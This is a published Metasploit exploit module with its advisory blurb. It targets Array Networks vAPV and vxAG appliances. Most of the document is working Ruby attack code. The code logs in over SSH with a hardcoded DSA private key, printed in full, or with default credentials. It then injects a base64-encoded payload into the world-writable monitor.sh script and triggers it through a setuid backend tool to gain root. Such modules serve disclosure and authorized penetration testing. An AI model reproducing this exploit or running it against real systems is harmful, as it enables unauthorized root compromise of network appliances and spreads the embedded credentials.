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Array Networks vAPV / vxAG Code Execution

Array Networks vAPV / vxAG Code Execution
Posted Mar 20, 2014
Authored by xistence | Site metasploit.com

This Metasploit module exploits a default hardcoded private SSH key or default hardcoded login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made by Array Networks. After logged in as the unprivileged user, it's possible to modify the world writable file /ca/bin/monitor.sh with our arbitrary code. Execution of the arbitrary code is possible by using the backend tool, running setuid, to turn the debug monitoring on. This makes it possible to trigger our payload with root privileges.

tags | exploit, arbitrary, root
SHA-256 | 1fae43950316e011335dde728dbaad51c106df55957d6f35e6a4c67a1ed197aa

Array Networks vAPV / vxAG Code Execution

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Array Networks vAPV and vxAG Private Key Privelege Escalation Code Execution",
'Description' => %q{
This module exploits a default hardcoded private SSH key or default hardcoded
login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made
by Array Networks. After logged in as the unprivileged user, it's possible to
modify the world writable file /ca/bin/monitor.sh with our arbitrary code.
Execution of the arbitrary code is possible by using the backend tool, running
setuid, to turn the debug monitoring on. This makes it possible to trigger our
payload with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>', # Original discovery and Metasploit module
],
'References' =>
[
['OSVDB', '104652'],
['OSVDB', '104653'],
['OSVDB', '104654'],
['URL', 'http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html']
],
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet',
}
},
'Targets' =>
[
['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}],
],
'Privileged' => true,
'DisclosureDate' => "Feb 03 2014",
'DefaultTarget' => 0))

register_options(
[
Opt::RHOST(),
Opt::RPORT(22),
OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]),
OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']),
OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1'])
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end

def rhost
datastore['RHOST']
end


def rport
datastore['RPORT']
end

def login_key(user)
print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'")

key_data = "-----BEGIN DSA PRIVATE KEY-----\n"
key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n"
key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n"
key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n"
key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n"
key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n"
key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n"
key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n"
key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n"
key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n"
key_data += "+sqSEhA35Le2kC4Y1/A=\n"
key_data += "-----END DSA PRIVATE KEY-----\n"

opts = {
#:auth_methods => ['password', 'keyboard-interactive'],
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:disable_agent => true,
:config => true,
:key_data => key_data,
#:password => pass,
:record_auth_info => true,
:proxies => datastore['Proxies']
}

opts
end

def login_user_pass(user, pass)
print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:#{pass}'")

opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:disable_agent => true,
:config => true,
:password => pass,
:record_auth_info => true,
:proxies => datastore['Proxies']
}

opts
end

def build_command
mon_temp = rand_text_alphanumeric(10)
cmd = Rex::Text.encode_base64("nohup " + payload.encoded)
# Turn debug monitoring off, just in case it's turned on
command = '/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`;'
# Copy the data from monitor.sh to a random tmp file
command += "cat /ca/bin/monitor.sh > /tmp/#{mon_temp};"
# Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file
command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;"
# Turn debug monitoring on, which will start the monitor.sh and thus our payload
command += '/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`;'
# Copy monitor.sh data back
command += "cat /tmp/#{mon_temp} > /ca/bin/monitor.sh"

command
end


#def execute_command(cmd, opts)
def exploit
user = datastore['USER']
pass = datastore['PASS']

if datastore['SSHKEY']
opts = login_key(user)
else
opts = login_user_pass(user, pass)
end

opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError, Rex::AddressInUse
fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
rescue ::Timeout::Error
fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
rescue Net::SSH::AuthenticationFailed
fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
end

fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh

if datastore['SSHKEY']
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'")
else
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
end

# Make the SSH connection and execute our commands + payload
print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!")
Net::SSH::CommandStream.new(ssh, build_command, true)
end

end
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